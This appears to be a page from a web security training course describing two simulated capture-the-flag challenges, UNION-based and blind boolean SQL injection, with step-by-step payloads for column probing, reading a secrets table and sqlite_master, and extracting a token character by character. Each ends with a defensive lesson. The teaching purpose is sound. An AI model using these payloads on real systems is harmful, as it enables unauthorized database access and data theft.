Track A · Stage 3

Web Application Security

UNION-based SQL Injection mediumnot started

A product search reflects query results. Use a UNION SELECT to pull data from the hidden secrets table and exfiltrate the flag.

loading simulator…

1. Find column count: test' ORDER BY 3-- works, ORDER BY 4-- errors → 3 columns. Why: ORDER BY n fails when n exceeds the column count.

2. Confirm reflected positions: x' UNION SELECT 1,2,3-- .

3. Exfiltrate: x' UNION SELECT 1,flag,3 FROM secrets-- . Why: UNION appends rows from your own SELECT; matching the 3-column shape lets the result render in the product list.

4. If you don't know the table/column, read sqlite_master: x' UNION SELECT 1,sql,3 FROM sqlite_master-- .

Lesson: parameterize queries and least-privilege the DB account.

Blind Boolean SQL Injection hardnot started

A 'check username availability' endpoint returns only Yes/No but is injectable. Extract the admin's secret token one character at a time, then submit it to get the flag.

loading simulator…

1. The endpoint /check?u=<input> returns 'taken' (true) or 'free' (false) based on whether a row matches. It is injectable: admin' AND '1'='1 → taken, admin' AND '1'='2 → free. Why: your boolean changes whether the row matches, and the page's true/false answer leaks it.

2. Leak the token length: admin' AND length((SELECT token FROM secrets))=32-- .

3. Leak each char: admin' AND substr((SELECT token FROM secrets),1,1)='a'-- , looping position and character. Why: each true/false answer reveals one bit of information; iterate to recover the full token.

4. Use the provided solve.py to automate, then POST the token to /claim for the flag.

Lesson: even a single bit of reflected truth is enough to dump a database.